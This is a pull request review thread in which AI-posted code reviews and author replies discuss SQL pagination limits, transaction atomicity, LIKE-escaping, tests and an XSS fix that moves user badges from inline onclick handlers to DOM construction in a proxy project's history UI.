Declined / note-only (with reasons):

• CHECK (length(display_name) <= 255) for defense-in-depth — declining, consistent with prior rounds: length is a boundary concern enforced by the route's Pydantic max_length; the service owns only the non-blank invariant. You marked it non-blocking. (The misleading "service can enforce" comment was already corrected last round.)
• extract_model no-comma defensive strip — the assumption is documented in session_summary.py; silently stripping commas would corrupt data rather than surface the problem. Left as doc.
• PR scope / COE for the XSS commits — fair process note; acknowledged. The XSS work landed mid-feature and is bundled here; the correction to the earlier wrong claim is in the PR body. Noted for next time (split fix-while-here into its own PR).
• delete_user_label always returns {deleted: true}, prompt()/alert() brittleness, /users vs /user-labels naming, _is_policy_event plural-evaluations — left as follow-ups (admin-only, low-impact); listed under "Follow-ups" in the PR body.
• preview_message first-non-probe-wins and COALESCE semantics — intentional, as you noted.

dev_checks is green.

---

Posted by Claude Code (Opus 4.8 (1M context))

[claude]

Review

Solid PR overall — the atomicity reasoning in _write_db, the LIKE-escape in models_used, and the move to DOM construction for user badges are all carefully thought through, and the decisions doc + commit message capture the why well. A few things worth flagging:

Bugs / correctness

list_users will fail at limit=5000 on SQLite. user_labels.list_users issues a second SELECT ... WHERE user_id IN ($1, ..., $N) with one numbered placeholder per result. The route caps limit at 5000 (Query(default=500, ge=1, le=5000)), and SQLite's SQLITE_MAX_VARIABLE_NUMBER is 999 on older builds (it's 32766 on modern builds, but you may not control the deploy target). On any older SQLite this hits too many SQL variables the first time a deployment grows past ~1000 distinct users and someone requests a large page.

Simpler and lower-cardinality SQL fixes both the param-limit and the round-trip:

SELECT s.user_id, ul.display_name
FROM (
  SELECT DISTINCT user_id FROM session_summaries
  WHERE user_id IS NOT NULL
  ORDER BY user_id LIMIT $1 OFFSET $2
) s
LEFT JOIN user_labels ul ON s.user_id = ul.user_id

That's two placeholders no matter how many users come back, and you avoid the second fetch().

Performance nits

extract_preview runs on every transaction.request_recorded even after the preview is set. The COALESCE on the upsert correctly keeps the first value, but each subsequent request still parses the messages list, walks content blocks, runs the regex, and trims — all to throw the result away. Bounded but wasteful on busy sessions. If this ever shows up in a profile, a cheap fix is don't compute preview when `is_request and call_inc and we already have a preview row, but that needs a pre-read; not worth doing until/unless it shows up.

dropped_db_writes is a class attribute that tests mutate. test_sqlite_write_error_increments_dropped_counter reads EventEmitter.dropped_db_writes before/after — fine in isolation, but xdist or any future parallelism makes that read-then-write racy across tests. Not a regression here (the counter pattern is preexisting), but worth flagging since this PR adds new tests against it.

Style / minor

• populateUserFilter correctly preserves a paged-out currentUserId (good — that's a subtle UI bug it heads off). Worth a tiny code comment that that's what the if (selected && !uids.includes(selected)) branch is for; without context it reads as defensive code.
• The list_users query reads session_summaries, which is a new table — for the existing-deployment upgrade path, the migration-021 backfill will populate user_id from conversation_calls, so historical users do show up. Good. But if conversation_calls is empty (clean install), the dropdown stays empty until the first call lands a row in session_summaries. That's correct, just noting the order-of-operations.
• The atomicity comment in _write_db is excellent — exactly the kind of comment that pays off when someone tries to "simplify" the transaction wrapper later.

Tests

Coverage is genuinely thorough: the LIKE-metacharacter case (claude_x vs claudeax, m% vs mZ) is a great regression guard, and test_summary_failure_rolls_back_event_insert plus test_sqlite_write_error_increments_dropped_counter precisely lock in the atomicity invariant the decisions doc records. The integration approach (DatabasePool("sqlite://:memory:") + check_migrations) is the right call for SQL that's expected to run on both backends.

One small gap: no test asserts that extract_preview returns None when max_tokens is a non-numeric weirdness (it's silently swallowed by except (TypeError, ValueError): pass and then falls through). The try/except/pass is fine, but a test would lock the intent — currently the function would extract a preview for max_tokens="garbage", which may or may not be desired. Minor.

Security note

The PR description's correction re: escapeHtml alone not being sufficient for an inline onclick attribute is correct and important — the HTML parser decodes entities before the JS engine sees them, so escaping '/\" in the attribute value still lets a ' break out of the JS string. The DOM-construction approach for badges + the move to dataset + delegated listener for session_id is the right fix. Good catch on flagging that the earlier commit message overstated the previous fix.

---

Approving in spirit; the list_users IN-clause is the only thing I'd want addressed before merge (especially if any production deploy uses an older SQLite build). The rest are nits / follow-ups.

[jaidhyani]

Addressed in c734975:

• list_users SQLite variable limit (the one pre-merge ask) — fixed. Replaced the fetch-then-WHERE user_id IN ($1..$N) two-query form with a single LEFT JOIN user_labels over a paged DISTINCT user_id subquery. Now exactly two placeholders (limit, offset) regardless of page size, one round-trip, same {users, labels} return shape. This removes the SQLITE_MAX_VARIABLE_NUMBER (999 on older builds) failure mode at high user cardinality. Verified against in-memory SQLite (all/paged/empty cases).
• extract_preview non-numeric max_tokens — added a test locking in the intended behavior (garbage max_tokens is swallowed and NOT treated as a probe; preview extraction proceeds).
• populateUserFilter paged-out-filter branch — already carries an explanatory comment (added in the previous round) describing exactly that case.

Noted, not changed (with reasons):

• extract_preview recomputes preview on every request even after it's set — bounded waste; as you said, not worth a pre-read until it shows up in a profile. Left.
• dropped_db_writes class-attr read-then-write raciness under xdist — preexisting counter pattern; my new test reads before/after in isolation. A proper fix is a broader refactor of the counter, out of scope for this PR. Acknowledged.

dev_checks is green; all four CI checks were green on the prior commit and are re-running on this one.

---

Posted by Claude Code (Opus 4.8 (1M context))

[claude]

Code Review (Claude Opus 4.7)

Reviewed the full diff (~1.5k LOC across 29 files). High level: this is a careful, well-instrumented PR. The author has clearly thought about the failure modes (atomicity, LIKE-metacharacter dedupe, XSS sinks, partial-index sanity) and either fixed them or documented the tradeoff. The PR description is a model of "what changed and why."

Below: a few real findings, several smaller nits, and what I checked.

What's done well (worth keeping in mind for future reviews)

• _write_db now wraps three writes in conn.transaction() (emitter.py:254). This is a real correctness improvement over main, not just a feature add: previously the conversation_calls upsert and conversation_events insert auto-committed independently, so a crash between them left orphaned rows. The PR turns this into all-or-nothing.
• Driver-agnostic exception handling (emitter.py:309): adding sqlite3.Error to the except clause is a non-obvious correctness fix. Without it, a SQLite-path failure (now likelier because the session_summaries SQL is the widest surface in _write_db) would escape and be silently absorbed by emit()'s gather(return_exceptions=True). The regression test (test_sqlite_write_error_increments_dropped_counter) locks this in.
• XSS sinks: userBadgeElement and the session-card render path both use textContent / dataset / addEventListener, never inline onclick with interpolated values. The PR description's correction of the prior escapeHtml-only claim is accurate — for an inline JS handler, HTML-entity-escaping isn't sufficient because the HTML parser decodes before the JS engine runs.
• LIKE-metacharacter escape for models_used (session_summary.py:138): the triple-REPLACE + ESCAPE '\' pattern is correct under modern Postgres (standard_conforming_strings=on, the default since 9.1) and SQLite (always literal backslashes), and test_model_names_with_like_metacharacters_not_conflated exercises the wildcards explicitly.
• Backfill semantics intentionally match incremental semantics: "earliest call user_id wins" via the subquery ORDER BY cc.created_at LIMIT 1 mirrors the COALESCE(session_summaries.user_id, EXCLUDED.user_id) in the live path, with a comment pointing both ways. Same for call_count ("count of transaction.request_recorded events").

Findings

1. list_users paginates lexicographically, which is rarely what an operator wants — history/user_labels.py:55

SELECT DISTINCT user_id FROM session_summaries
WHERE user_id IS NOT NULL
ORDER BY user_id
LIMIT $1 OFFSET $2

For a dropdown labeled "Filter by user", operators almost always want recently-active users first, not the alphabetically-first ones. Consider ordering by MAX(last_seen) DESC (with a sub-aggregation) or sorting by latest last_seen via a window/subquery. As-is, on a deployment with hundreds of users, the dropdown can hide the user you actually want to click. Not a correctness bug, but a UX cliff that scales badly with the user count.

(The PR description already flags "no search" as a follow-up; recency ordering is the easier half of that.)

2. list_users / list_user_labels responses are untyped (dict[str, object]) — history/routes.py:155, 170

These bypass FastAPI's response_model validation and don't appear in the OpenAPI schema in a useful form. A small UserListResponse / UserLabelsResponse Pydantic model would tighten the contract and make the JS-side shape (data.users, data.labels) explicit on the server too. The other history endpoints in this file (e.g. list_sessions) all use response_model=...; this is the only break in the pattern.

3. _is_policy_event is imported by name in tests — test_session_summary.py:16

Per tests/luthien_proxy/unit_tests/CLAUDE.md: "test indirectly through public APIs". _is_policy_event is already covered by test_counts_accumulate (which asserts policy_event_count == 1 with one policy.block and one policy.judge.evaluation event). The TestIsPolicyEvent class can be removed, or _is_policy_event promoted (renamed without the underscore) if the unit-level tests are valuable enough to keep.

4. test_happy_path_commits_all_three only asserts on two tables — test_emitter.py:358

The test asserts on conversation_events and session_summaries but not on conversation_calls, so the name overpromises. Either add conversation_calls to the assertions or rename the test. (Minor — the all-or-nothing guarantee for conversation_calls is implicitly tested by test_summary_failure_rolls_back_event_insert, which does check all three.)

5. extract_preview ignores tool_result content blocks — session_summary.py:82-87

Only type == "text" blocks contribute. For a session whose first user message is a tool_result (rare in normal Claude Code flows, common in agent loops where the proxy sees only tool-result turns), no preview is captured. Probably fine for the primary use case, but worth keeping in mind if session_summaries ever drives a more prominent UI surface.

6. Tiny inconsistency in _row_to_entry — request_log/service.py:49

user_id=str(row["user_id"]) if row["user_id"] else None,

Treats empty-string user_id as None. This matches the existing session_id line two rows up, so it is consistent — flagging only because if either column ever genuinely needs to round-trip an empty string, both sites need to change together.

Things I deliberately did not flag (saw and accepted as documented)

• prompt() for label editing (acknowledged follow-up; admin-only, blocked only in sandboxed iframes).
• models_used as comma-joined text (documented "no comma in model names" assumption; trivially true for current providers).
• Postgres-only DML verification gap (PR description owns this; relies on the migration-sync CI lane).
• Read-path migration of the history list onto session_summaries (out-of-scope follow-up).
• Concurrent edits to a single label silently overwriting each other (admin tool, no operator-facing risk).

What I checked

Migrations (PG + SQLite mirrors, partial indexes, backfill correctness), session_summary.py (preview extraction edge cases, LIKE-escape correctness, COALESCE semantics), emitter.py (transaction wrapping, exception surface), user_labels.py + routes.py (parameterization, response shapes, route conflicts), request_log/* (positional-arg shift, new query filter), history_list.html + request_logs.html (XSS sinks moved to DOM construction), and the test files for each. No security or correctness issues blocking merge from my read.

[jaidhyani]

Thanks — noting this review concludes "no security or correctness issues blocking merge." All findings are non-blocking nits; triage below. The PR is at a green, merge-ready commit (c734975d) and I'm intentionally not pushing more changes right now so the merge-ready state holds — happy to fold any/all of these in if you'd prefer a quick polish pass before merge, otherwise they go to follow-ups.

Would tighten in a polish pass (cheap, real):

1. list_users recency ordering — order the dropdown by MAX(last_seen) DESC instead of user_id so recently-active users surface first. Good UX call.
2. Typed UserListResponse / UserLabelsResponse — the other history endpoints use response_model; these two are the only dict[str, object] break in the pattern.
3. Drop TestIsPolicyEvent — _is_policy_event is a private fn already covered indirectly by test_counts_accumulate; the direct test violates the "test through public APIs" norm in the unit-tests CLAUDE.md.
4. test_happy_path_commits_all_three — add the conversation_calls assertion so the test matches its name (the three-way rollback is already covered by test_summary_failure_rolls_back_event_insert).

Accepting as-is (with reasons):
5. extract_preview ignores tool_result blocks — fine for the Claude Code flow; agent-loop preview is a follow-up if session_summaries ever drives a bigger UI surface.
6. _row_to_entry empty-string→None — consistent with the existing session_id handling two lines up, as you noted; no change.

Say the word and I'll push 1–4 (one small commit, re-runs CI); otherwise they're tracked as follow-ups alongside the others in the PR body.

---

Posted by Claude Code (Opus 4.8 (1M context))